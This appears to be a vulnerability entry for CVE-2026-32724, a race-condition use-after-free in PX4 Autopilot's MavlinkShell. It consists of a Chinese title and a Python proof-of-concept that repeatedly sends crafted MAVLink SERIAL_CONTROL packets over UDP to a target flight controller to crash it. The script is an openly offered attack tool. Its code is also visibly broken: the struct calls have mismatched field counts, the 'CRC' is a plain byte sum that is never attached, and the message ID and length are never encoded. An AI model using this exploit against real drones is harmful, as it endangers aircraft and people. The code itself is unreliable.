CVE-2026-32724: PX4 Autopilot MavlinkShell竞态条件导致堆使用后释放漏洞

#!/usr/bin/env python3 """ CVE-2026-32724 PoC - PX4 Autopilot MavlinkShell Heap-Use-After-Free This PoC demonstrates sending a MAVLink SERIAL_CONTROL message to trigger the race condition in MavlinkShell::available() function. Note: This is for educational and testing purposes only. """ import socket import struct import time def calculate_crc(message, length): """Calculate MAVLink CRC for the message""" crc = 0 for i in range(length): crc += message[i] return crc & 0xFF def create_mavlink_serial_control_message(): """ Create a MAVLink SERIAL_CONTROL message (ID 126) to trigger the vulnerability. This message type allows controlling serial ports on the flight controller. """ # MAVLink packet structure STX = 0xFD # MAVLink 2.0 start byte # SERIAL_CONTROL message fields msg_id = 126 # SERIAL_CONTROL message ID # Build the payload # uint8_t flags - control flags # uint16_t timeout - timeout in milliseconds # uint32_t baudrate - baudrate # uint8_t len - data length # uint8_t data[70] - data bytes payload = struct.pack('<BHHIB', 0x00, # flags 1000, # timeout (ms) 57600, # baudrate 0, # data length ) # Pad data to 70 bytes payload += b'\x00' * 70 # MAVLink 2.0 header header = struct.pack('<BBBBBB', STX, 0, # payload length 0, # incompatibility flags 0, # compatibility flags 0x01, # sequence number 0x01, # system ID 0x01, # component ID ) # Calculate CRC (simplified) message = header + payload # CRC calculation would include message type and payload return message def send_exploit(target_ip, target_port=14550): """ Send the exploit payload to the target PX4 Autopilot system. """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) print(f"[*] Target: {target_ip}:{target_port}") print("[*] Crafting SERIAL_CONTROL message (ID 126)...") payload = create_mavlink_serial_control_message() print(f"[*] Sending payload ({len(payload)} bytes)...") sock.sendto(payload, (target_ip, target_port)) # Send multiple messages to increase race condition probability for i in range(100): sock.sendto(payload, (target_ip, target_port)) time.sleep(0.001) # Small delay to increase timing sensitivity print("[*] Exploit sent. Monitor target for crash.") sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2026-32724-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 14550 send_exploit(target, port)